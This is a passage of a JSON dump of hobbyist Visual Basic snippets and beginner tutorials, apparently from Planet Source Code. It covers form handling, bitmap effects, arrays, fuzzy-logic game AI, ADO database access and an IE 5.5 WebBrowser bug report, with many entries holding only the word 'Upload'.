the udtLine UDT (sLine) into the udtInput</pre>\n<pre>' UDT (sInput) *** ONE LINE OF CODE! ***</pre>\n<pre>LSet sInput = sLine</pre>\n<pre>' Wolla! You can now access each element of the sInput UDT!</pre>\n<pre>Debug.Print sInput.Name</pre>\n<pre>' Will print: Jerry M Barnett</pre>\n<pre>' (with eight trailing spaces)</pre>\n<pre>' Convert numeric String Amount value to a Long value with 2 decimal places</pre>\n<pre>Debug.Print CDbl(Val(sInput.Amount)/100)</pre>\n<pre>' Would print: 23.56</pre>\n<pre>Debug.Print MyDateFunction(sInput.MyDate)</pre>\n<pre>' Will print: 08072000 in any format you wish</pre>\n<pre>' Note - The MyDateFunction is a function you define</pre>\n<pre>' to parse the date string to the proper format you want.</pre>\n<pre>End Sub</pre>\nThat's it! Hope you find this of\nuse!\nNote this can also be used (with\nmodification to' WRITE a flat file out.)"},{"WorldId":1,"id":10756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10775,"LineNumber":1,"line":"'this code will give you a valid filename, whether the app.path return has a backslash or not, and displays a message box.\n'Please Vote for me at Planet Source Code\nif right(app.path,1) = \"\\\" then 'sees if the directory has a backslash at the end of it\nmsgbox app.path & \"filename.file\"\ngoto ResumeMe\nend if\nmsgbox app.path & \"\\filename.file\"\nResumeMe:"},{"WorldId":1,"id":10779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10780,"LineNumber":1,"line":"'Put this in a global module\nPublic Sub FormDrag(TheForm As Form)\n ReleaseCapture\n Call SendMessage(TheForm.hwnd, &HA1, 2, 0&)\nEnd Sub\n'this code has to be in your form\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n FormDrag Me 'move form\n NameOfOtherForm.MoveMe 'notify other form\nEnd Sub\n'this is needed in the second form\nPublic Sub MoveMe()\n If Top > NameOfOtherForm.Top Then\n Top = NameOfOtherForm.Top + NewFrm.Height 'Place below other form\n Left = NameOfOtherForm.Left\n Else\n Top = NameOfOtherForm.Top - Height 'Place above other form\n Left = NameOfOtherForm.Left\n End If\nEnd Sub"},{"WorldId":1,"id":10781,"LineNumber":1,"line":"Private Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\nPrivate Declare Function GetObject Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function GetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long\nPrivate Declare Function SetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long\nDim PicBits() As Byte, PicInfo As BITMAP, Cnt As Long\nPrivate Sub CF()\n Dim k As Long\n \n On Error Resume Next\n Picture1.Picture = Picture1.Image\n GetObject Picture1.Image, Len(PicInfo), PicInfo\n ReDim PicBits(1 To PicInfo.bmWidth * PicInfo.bmHeight * 3) As Byte\n GetBitmapBits Picture1.Image, UBound(PicBits), PicBits(1)\n For Cnt = 2 To UBound(PicBits) + 1\n k = PicBits(Cnt - 1) + PicBits(Cnt + 1)\n k = k \\ 2\n PicBits(Cnt) = k\n Next Cnt\n SetBitmapBits Picture1.Image, UBound(PicBits), PicBits(1)\n Picture1.Refresh\nEnd Sub\nPrivate Sub Timer1_Timer()\n Call CF\nEnd Sub"},{"WorldId":1,"id":10783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10824,"LineNumber":1,"line":"Private Function FileExists(FullFileName As String) As Boolean\nOn Error GoTo MakeF\n\t'If file does not exist, there will be an error\n\tOpen FullFileName For Input As #1\n\tClose #1\n\t'no error, file exists\n\tFileExists = True\nExit Function\nMakeF:\n\t'error, file does not exist\n\tFileExists = False\nExit Function\nEnd Function"},{"WorldId":1,"id":10833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10898,"LineNumber":1,"line":"Public Sub AddScroll(List As ListBox)\n Dim i As Integer, intGreatestLen As Integer, lngGreatestWidth As Long\n 'Find Longest Text in Listbox\n For i = 0 To List.ListCount - 1\n If Len(List.List(i)) > Len(List.List(intGreatestLen)) Then\n intGreatestLen = i\n End If\n Next i\n 'Get Twips\n lngGreatestWidth = List.Parent.TextWidth(List.List(intGreatestLen) + Space(1)) \n'Space(1) is used to prevent the last Character from being cut off\n 'Convert to Pixels \n lngGreatestWidth = lngGreatestWidth \\ Screen.TwipsPerPixelX\n 'Use api to add scrollbar\n SendMessage List.hwnd, LB_SETHORIZONTALEXTENT, lngGreatestWidth, 0\n \nEnd Sub"},{"WorldId":1,"id":10901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10921,"LineNumber":1,"line":"<h1>Beginner's Guide to Arrays</h1>\n<hr>\n<h4>Background</h4>\nHave you wanted to store 300 integers in a variable? like variable d? well now you can with the Beginner's Guide to Arrays!\n<hr>\n<h4>Regular Arrays</h4>\nArrays are a way of storing data. instead of using 13 variables to hold 13 different integers you can use one to hold all thirteen! using the following code:\ndim K(12) as integer\nThat code holds 13 integers in Variable K. Arrays start at 0 so if you wanted to create 300 integers you'd say 'dim K(299) as integer' instead of dim'ing K1 - K300. \nWhen Setting Arrays equal to something you use the following Statement:\nK(1) = 3\nThis would create part 2 of K equal to 3. You can put any integer equivilant or equal to the number you put inside of the brakets when you dim'ed K.\n<hr>\n<h4>Multi-Demensional Arrays</h4>\nMulti Demensional Arrays are basically the same as Regular Arrays except for one thing. there are more then 1 dimension. Multi-Dimensional Arrays allow you to create Matrixs or even 7d Tables (Don't ask me what those look like). Multi Dimensional Arrays are used for many things. Score Cards and tables are examples of 2 dimensional arrays and 3d Axis' are a examples of 3 Dimensional Arrays. Multi Dimensional Arrays are dim'ed like so:\nDim K(1,1) as integer\nThat creates 4 K's. You can acess the Variables by:\nK(0,1) = K(1,0)\nThat makes whatever 0,1 on the table is equal to whatever 1,0 is.\n<hr>\nThats it for Arrays. Enjoy your stay at PSC!\n<h3>L124RD</h3>"},{"WorldId":1,"id":10922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10948,"LineNumber":1,"line":"<h1>AI: FUZZY LOGIC</H1>\n<hr>\n<h4>Version History</h4>\n┬╖8/25/00 -- Update:\n Uses keys 'awsd' instead of buttons\n Scale mode now in pixels\n Attack mode accually works!\n┬╖8/23/00 -- First Version\n<h4>It is Recommened that you </h4>\n┬╖Have read the AI:Case Logic Tutorial\n┬╖Have at least 1 year experiance in VB\n<hr>\n<h3>Introduction to Fuzzy Logic</h3>\nYou all probobly Saw my Tutorial on Case Logic. Well the That used 'If X then Z'. But that my friend isn't how the Real brain works. It uses desicions to map out what its going to do, like probobility. \nToday's Professional Game Coders don't use the simple Case Logic idea. Instead they use an idea known as 'Fuzzy Logic'.\n Fuzzy logic works along the lines of how there aren't just 1's and 0's but many numbers like 0.38492 not just 1 and 0. This tutorial shows you how to get going in Fuzzy Logic. As Fuzzy logic is Probobility to run the program we used probobility... even though they are rounded numbers.\n<hr>\n<h3>FrmFuzzy</h3>\nfrmFuzzy has 2 shapes(red is the AGRESSIVE area and green is the goal), 7 labels(1 and 2 are the enemy and you), and 2 timers\n<h4>Form_KeyPress</h4>\nThe Keypress stuff just does stuff when keys are pressed!\n<h4>The Buttons</h4>\nThe buttons simply control the movement of Label1(you) using label1.left/label1.top. Pretty simple\n<h4>The Timers</h4>\nEvery second one of the timers has the enemy make a desicion. each time it does the color of the dot on the upperright of the 'right' button changes color. and you see the state on the bottom right of the form. I will explain the calculate function in a minute\nEvery 1/2 second the other timer makes the moves for the enemy, checks if you've won/lost, and and does your hps. its pretty simple as well.\n<hr>\n<h3>BasAI</h3>\n BasAI Holds all of the Globals and The Calculate Function for the game\n<h4>The Globals</h4>\nThere are 3 states. Sleep, gaurd, and attack. The Probobility these have are stored in the variable of the same name.\nThen there is the accual state. this holds the current state to be put in the label with the state, and for the timer to use\nThen there is the hp wich gets minused when you come in contact with the enemy\n<h4>Calculate Function</h4>\nThis Function is kinda simple.\nFirst it creates a variable to be used to hold the total value of all the numbers\nThen it adds up the values and adds one\nThen it creates a variable to hold the random number in\nI'll explain Each part of this line 'prob = CInt(rnd(time) * num)\nthe CInt Rounds the rnd(time * num so that it can be stored in an integer\nThe Rnd creates a random number from a seed. the time provides that seed so that the random number is a TRUE random number. Next it multiplies it by num so that it is not just between 1 and 0. we added the 1 in num so that it would be between 0 and num. \nThen we set the state based on the value\nIf state is nothing we redo Calculate\nand then we set the state label to the state\n<hr>\n<h3>One Step Further</h3>\nMost AI's for games are fuzzy logic, though not a very simple one like this. instead of the 30 someodd this program probobly was they use thousands of lines of code for something like this! Well hey, how do you think they got the job?\n<hr>\n<h5>Code On</h5>\n<h4>Da L124RD</h4>"},{"WorldId":1,"id":10949,"LineNumber":1,"line":"Option Explicit\n' If you are adding an ActiveX control at run-time that is\n' not referenced in your project, you need to declare it\n' as VBControlExtender.\nDim WithEvents ctlDynamic As VBControlExtender\nDim WithEvents ctlCommand As VB.CommandButton\nDim WithEvents ctlText As VB.TextBox\nPrivate Sub ctlCommand_Click()\n 'since we delcared withevents, we can use them\n ctlDynamic.object.Value = CDate(ctlText.Text)\nEnd Sub\nPrivate Sub ctlDynamic_ObjectEvent(Info As EventInfo)\n \n 'This is sort of an 'all-in-one' event\n 'so you have to check parameters and event name\n Dim p As EventParameter\n Debug.Print Info.Name\n \n For Each p In Info.EventParameters\n Debug.Print p.Name, p.Value\n Next\n Select Case Info.Name\n Case \"NewMonth\"\n ctlText.Text = ctlDynamic.object.Value\n Case \"Click\"\n MsgBox ctlDynamic.object.Value\n End Select\nEnd Sub\nPrivate Sub Form_Load()\n 'If you get run-time error number 732.\n 'Then the control isn't in the liscenses collection\n 'Use this line with the ProgID you want\n 'Licenses.Add [ProgID]\n \n ' Add a control and set the properties of the control\n Set ctlDynamic = Controls.Add(\"mscal.calendar\", \"calMain\", Form1)\n With ctlDynamic\n .Move 1, 400, 4000, 3000\n .Visible = True\n End With\n \n ' add a textbox and set properties for the textbox\n Set ctlText = Controls.Add(\"VB.TextBox\", \"ctlText1\", Form1)\n With ctlText\n .Move 1, 1, 3400, 100\n .Text = ctlDynamic.object.Value\n .Visible = True\n End With\n \n ' Add a CommandButton.\n Set ctlCommand = Controls.Add(\"VB.CommandButton\", \"ctlCommand1\", Form1)\n With ctlCommand\n .Move 3450, 1, 450, 300\n .Caption = \"Go!\"\n .Visible = True\n End With\nEnd Sub"},{"WorldId":1,"id":10973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10994,"LineNumber":1,"line":"'****Declares\nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As Byte, _\nByVal dwFlags As Long, ByVal dwExtraInfo As Long)\nPublic Function Capture_Desktop(ByVal Destination$) as Boolean \nOn Error goto errl\n DoEvents\n Call keybd_event(vbKeySnapshot, 1, 0, 0) 'Get the screen and copy it to clipboard\n DoEvents 'let computer catch up\n SavePicture Clipboard.GetData(vbCFBitmap), Destination$ ' saves the clipboard data to a BMP file\n Capture_Desktop = True\n Exit Function\n errl:\n Msgbox \"Error number: \" & err.number & \". \" & err.description\n Capture_Desktop = False\n End Function\n'A lil' example \n Private Sub Command1_Click()\n Capture_Desktop \"c:\\windows\\desktop\\desktop.bmp\" 'That's it"},{"WorldId":1,"id":10995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11020,"LineNumber":1,"line":"Public Function FaxReport() As Boolean\n On Error GoTo EH\n Dim lReport As Report\n Dim lFileName As String\n Dim lSendObj As Object' winfax send object\n Dim lRet As Long\n \n 'delete any existing fax report file\n lFileName = CurDir & \"\\\" & \"FaxReport.html\"\n If Dir(lFileName) <> vbNullString Then\n Kill lFileName\n End If\n 'save as an html file so that it can be faxed \n 'as an attachement\n DoCmd.OutputTo acOutputReport, _\n mReportName, \"html\", lFileName\n \n 'now is the time to fax the html file\n Set lSendObj = CreateObject(\"WinFax.SDKSend\")\n lRet = lSendObj.SetAreaCode(\"801\")\n lRet = lSendObj.SetCountryCode(\"1\")\n lRet = lSendObj.SetNumber(9816661)\n lRet = lSendObj.AddRecipient()\n lRet = lSendObj.AddAttachmentFile(lFileName)\n lRet = lSendObj.ShowCallProgress(1)\n lRet = lSendObj.Send(0)\n lRet = lSendObj.Done()\n \n Exit Function\nEH:\n Exit Function\nend function"},{"WorldId":1,"id":11026,"LineNumber":1,"line":"Function Split(TheString As String, Optional Delim As String, Optional Limit As Long = -1) As Variant\n 'Duplicates the functionality of the vb6 counterpart.\n 'Unfortunately, I was unable to include the vbcompare part of the vb6 funtionality.\n 'Just use Option Campare at the beggining of this module.\n Dim dynArray() As Variant\n \n If Len(Delim) > 0 Then\n Dim ArrCt%\n Dim CurPos%\n Dim LenAssigned%\n Dim CurStrLen%\n \n ArrCt% = 0\n CurPos% = 1\n LenAssigned% = 1\n \n CurStrLen% = Len(TheString$)\n \n Do\n ReDim Preserve dynArray(0 To ArrCt%)\n CurStrLen% = (InStr(CurPos%, TheString$, Delim$) - CurPos%)\n If CurStrLen% < 0 Then\n dynArray(ArrCt%) = Right$(TheString$, (Len(TheString$) - (LenAssigned% - 1)))\n Exit Do\n Else\n dynArray(ArrCt%) = Mid$(TheString$, CurPos%, CurStrLen%)\n End If\n LenAssigned% = LenAssigned% + (Len(dynArray(ArrCt%)) + Len(Delim$))\n CurPos% = LenAssigned%\n ArrCt% = ArrCt% + 1\n \n If Not Limit = -1 Then\n If ArrCt = Limit Then Exit Do\n End If\n Loop\n \n Split = dynArray\n Else\n 'duplicate the functionality more acuratley\n ReDim dynArray(0 To 0)\n dynArray(0) = TheString\n Split = dynArray\n End If\nEnd Function\n"},{"WorldId":1,"id":11030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11051,"LineNumber":1,"line":"'Use: BaseConv(base10_original_number, newbase)\n'to convert in a particular base\n'Or use: ConvBase10(otherbase_number, oldbase)\nConst ZERO = \"0\"\nConst DIGITS = \"123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/.=\"\nFunction ConvBase(n1 As Double, base As Long) As String\nDim e2(30) As Double\nDim n As Integer\nDim i As Long\nDim max As Long\nIf base > Len(DIGITS) Then ConvBase = \"NULL\": Exit Function\nIf n1 = 1 Then ConvBase = \"1\": Exit Function\nn = 0\nDo While (base ^ n) <= n1\n n = n + 1\nLoop\nn = n - 1\ni = 0\nDo While n > -1\n e2(i) = n1 \\ (base ^ n)\n n1 = n1 Mod (base ^ n)\n n = n - 1\n i = i + 1\nLoop\nmax = i - 1\nFor i = 0 To max\n If e2(i) = 0 Then\n ConvBase = ConvBase & ZERO\n Else\n ConvBase = ConvBase & Mid(DIGITS, e2(i), 1)\n End If\nNext i\nEnd Function\nFunction ConvBase10(num As String, base As Long) As Double\nDim i As Long\nDim n As Long\nn = Len(num)\nFor i = 1 To n\n If Mid(num, i, 1) <> ZERO Then\n ConvBase10 = ConvBase10 + (InStr(1, DIGITS, Mid(num, i, 1)) * (base ^ (n - i)))\n End If\nNext i\nEnd Function\n"},{"WorldId":1,"id":11054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11070,"LineNumber":1,"line":"Private Declare Sub CopyMemByPtr Lib \"kernel32\" Alias _\n \"RtlMoveMemory\" (ByVal lpTo As Long, ByVal lpFrom As Long, _\n ByVal lLen As Long)\n\nPrivate Sub Form_Click()\n Dim a As Long, b As String, c As Long, d As String\n Dim i As Integer, j As Long, k As Integer, l As Long\n Dim u(2) As Byte, o As Long\n \n b = \"HELLO!\"\n d = Space(Len(b))\n i = 20\n u(0) = 23\n u(1) = 243\n u(2) = 124\n \n o = VarPtr(u(0))\n j = VarPtr(i)\n l = VarPtr(k)\n a = StrPtr(b)\n c = StrPtr(d)\n \n CopyMemByPtr o + 1, j, Len(u(0)) * 2\n CopyMemByPtr l, j, Len(i) * 2\n CopyMemByPtr c, a, Len(b) * 2\n \n MsgBox d & vbCr & k & vbCr & u(1)\nEnd Sub"},{"WorldId":1,"id":11081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11084,"LineNumber":1,"line":"'this stays on the form\nPrivate Sub cmdHide_Click()\n Dim C As New CtrlAltDel\n \n C.RemoveFromList 'this hide your application \n'from the list\nEnd Sub"},{"WorldId":1,"id":11086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11087,"LineNumber":1,"line":"'pretty much straight forward just load a picture\n' into 'startingPic' and call this sub\nPublic Sub ResizePicture(startingPic As PictureBox, destinationPic As PictureBox)\n'the horz. and vert. ratios\nratioX = startingPic.ScaleWidth / destinationPic.ScaleWidth\nratioY = startingPic.ScaleHeight / destinationPic.ScaleHeight\n'for stats\ntheTimer = Timer\n'go through the startingPic's pixels\nFor x = 0 To startingPic.ScaleWidth Step ratioX\nFor y = 0 To startingPic.ScaleHeight Step ratioY\n 'get the color of the startingPic\n theColor = startingPic.Point(x, y)\n \n 'find the corresponding x and y values\n ' for the resized destination pic\n realX = ratioX ^ -1 * x\n realY = ratioY ^ -1 * y\n \n destinationPic.PSet (realX, realY), theColor\nNext y\nNext x\nMsgBox \"It took \" & Timer - theTimer & \" seconds to increase the horizontal size by \" & ratioX ^ -1 & \" and the vertical size by \" & ratioY ^ -1 & \".\"\nEnd Sub\n"},{"WorldId":1,"id":11090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11093,"LineNumber":1,"line":"Option Explicit\nPrivate Sub cmdConnect_Click()\n ' We're going to assume we're using a SQL Server\n ' that is named 'Server'. We're also going to assume\n ' the target database's name is 'Database'. The default\n ' UID in SQL is 'sa', so let's just use that, and the\n ' default password is either 'sa' or blank (I'm going to\n ' use blank). Finally, let's assume the Table name\n ' is 'Table'.\n Dim objConnection As Object\n Dim objContents As Object\n Dim strSQL As String\n \n ' Create the ADO connection. This is the handiest way to\n ' connect to a database in my uneducated opinion, so if you\n ' disagree, write your own code. ;-)\n Set objConnection = CreateObject(\"ADODB.Connection\")\n \n ' Next, open the connection to the database.\n objConnection.Open \"Driver={SQL Server};Server=Server;Database=Database;uid=sa;pwd=;\"\n \n ' Now, for this next part to make sense, you'll need at least\n ' a little experience writing SQL queries. This is the simplest.\n strSQL = \"SELECT * FROM Table\"\n \n ' Finally, Create a Recordset using the SQL string we wrote above.\n ' What's happening here is the connection object (objConnection)\n ' is executing the SQL query, then building a recordset called\n ' objContents with the results returned from our query.\n Set objContents = objConnection.execute(strSQL)\n \n ' Lastly, I bet you're wondering how to get at that data. Well,\n ' If you're only interested in the first value returned, I\n ' recommend this, quick and easy.\n varResult = objContents(0)\n \n ' If you're looking to gather a value for a particular field\n ' in the table, this is the way to go. Just replace <FIELD NAME>\n ' with your field's name (you DO need the quotes).\n varResult = objContents(\"<FIELD NAME>\")\n \n ' So if you wanted to return every value, you can simply use a\n ' while loop and BOF (Beginning Of File) and EOF (End Of File);\n ' SQL gets pissy if you try to go past the end of the file.\n While objContents.BOF = False And objContents.EOF = False\n varResult = objContents(\"<FIELD NAME>\")\n ListBox1.AddItem varResult\n \t objContents.MoveNext ' This moves on to the next ROW\n Wend\nEnd Sub"},{"WorldId":1,"id":11097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11110,"LineNumber":1,"line":"Public Sub SortListView(ctlListView As ListView, intColulunHeaderIndex As Integer)\nctlListView.Sorted = True\nctlListView.SortKey = intColulunHeaderIndex - 1\nIf ctlListView.SortOrder = lvwAscending Then\n ctlListView.SortOrder = lvwDescending\nElse\n ctlListView.SortOrder = lvwAscending\nEnd If\nEnd Sub"},{"WorldId":1,"id":11113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11138,"LineNumber":1,"line":"'This is only one line of code. The second line is the Show Method - which you have to do anyway. The rptHistSalary is the name of the report. Put this line before the Show and the report orientation will be changed. The nice thing is you don't have to change the printer orientation back because you have only changed the orientation for the report and not the printer! Since you change the orientation by report name this will not affect other reports. For reports that you want Portriat you don't have to do anything - Portriat is the default. Also, what is nice is that you don't have to be concerned about Network issues nor about operating system issues. The orientation is all done within VB. This one line of code requires that you have Service Pack 4 installed on you computer or you will get a compile error. You can get the SP 4 from Microsoft.This is my first submission to PlanetSourceCode and I am just learning how this web site works. Hope this helps. \nrptHistSalary.Orientation = rptOrientLandscape\nrptHistSalary.Show 1, Me\n"},{"WorldId":1,"id":11139,"LineNumber":1,"line":"Public Function InStrLike(Optional ByVal Start, Optional ByVal String1, Optional ByVal String2, Optional ByVal intCompareMethod As VbCompareMethod = vbTextCompare) As Variant\nOn Error GoTo err_InStrLike\n Dim intPos As Integer\n Dim intLength As Integer\n Dim strBuffer As String\n Dim blnFound As Boolean\n Dim varReturn As Variant\n If Not IsNumeric(Start) And IsMissing(String2) Then\n String2 = String1\n String1 = Start\n Start = 1\n End If\n If IsNull(String1) Or IsNull(String2) Then\n varReturn = Null\n GoTo exit_InStrLike\n End If\n If Left(String2, 1) = \"*\" Then\n err.Raise vbObjectError + 2600, \"InStrLike\", \"Comparison mask cannot start with '*' since a start position cannot be determined.\"\n Exit Function\n End If\n For intPos = Start To Len(String1) - Len(String2) + 1\n If InStr(1, String2, \"*\", vbTextCompare) Then\n For intLength = 1 To Len(String1) - intPos + 1\n strBuffer = Mid(String1, intPos, intLength)\n If strBuffer Like String2 Then\n blnFound = True\n GoTo done\n End If\n Next intLength\n Else\n strBuffer = Mid(String1, intPos, Len(String2))\n If strBuffer Like String2 Then\n blnFound = True\n GoTo done\n End If\n End If\n Next intPos\ndone:\n \n If blnFound = False Then\n varReturn = 0\n Else\n varReturn = intPos\n End If\nexit_InStrLike:\n InStrLike = varReturn\n Exit Function\nerr_InStrLike:\n Select Case err.Number\n Case Else\n varReturn = Null\n MsgBox err.Description, vbCritical, \"Error #\" & err.Number & \" (InStrLike)\"\n GoTo exit_InStrLike\n End Select\nEnd Function\n"},{"WorldId":1,"id":11140,"LineNumber":1,"line":"UPDATE! - 12/26/2000 Microsoft LISTS THIS BUG OFFICIALLY at:\n<a href=\"http://support.microsoft.com/support/kb/articles/Q279/6/68.ASP\">http://support.microsoft.com/support/kb/articles/Q279/6/68.ASP</a> End UPDATE \nUPDATE! - Sent from Microsoft Herb, \n \n \n \nThanks for sending in the codes. I am able to reproduce the same problem with your code. I verified that in IE5 navigate2 accept a string as URL, in IE5.5 it only accept a variant. Or you could pass in the url inline without using a variable. Then I looked at the source of both versions and set up a debugger to verify. Here is the situation: \n \nWhen you specific the URL as a string, VB will passed in VT_BSTR|VT_BYREF \n \nIn both IE5.0 and IE5.5, the header info are the same in the IDL file which accept a variant \n \n[id(0x000001f4), helpstring(\"Navigates to a URL or file or pidl.\")] \n \nHRESULT Navigate2( \n \n [in] VARIANT* URL, \n \n [in, optional] VARIANT* Flags, \n \n [in, optional] VARIANT* TargetFrameName, \n \n [in, optional] VARIANT* PostData, \n \n [in, optional] VARIANT* Headers); \n \nHowever, the implementations are different. \n \nIn IE5.0, the URL param could be VT_BSTR, VT_BSTR|VT_BYREF or VT_ARRAY|VT_UI1 \n \nIn IE5.5, it uses a function to determine the values of the URL and it only accepts VT_BYREF | VT_VARIANT or VT_BSTR \n \nSo, it returns an error E_INVALIDARG when VB passed in VT_BSTR|VT_BYREF. \n \n \nAnd I filed a bug on this. \n \nSo at the mean time, you would have to use variant as I believe passing the url inline probably won’t go too far in most applications.\n \n \n \nPlease let me know if you have any more concerns.\n \nJoshua Lee (MCP + Site Building) \n \nContent Lead \n \nInternet Client Team \n \nMicrosoft Developer Support \nEnd UPDATE. Original article follows: \nIn the Microsoft Knowledge Base article at:<a href=\"http://support.microsoft.com/support/kb/articles/Q269/6/14.ASP?LN=EN-US&SD=SO&FR=1\">http://support.microsoft.com/support/kb/articles/Q269/6/14.ASP?LN=EN-US&SD=SO&FR=1</a>A bug in IE 5.5 users' WebBrowser controls is exposed. The WebBrowser1_NavigateComplete event is NOT FIRED when the control is set to visible = FALSE.(Invisible)I have also found another bug (and I am working with Microsoft on it) with the 5.5 WebBrowser Control:When you use a string variable in the Navigate2 method, the control fails to navigate (and may cause an error!)\nHere is a code that you can place in a form with a webbrowser control on it:<pre>\nSub form_load()\nDim urly As String\nurly = \"http://directleads.com/ad.html?o=993&a=cd15860\"\nWebBrowser1.Navigate2 urly\nEnd Sub\nPrivate Sub WebBrowser1_BeforeNavigate2(ByVal pDisp As Object, URL As Variant, Flags As Variant, TargetFrameName As Variant, PostData As Variant, Headers As Variant, Cancel As Boolean)\nMsgBox 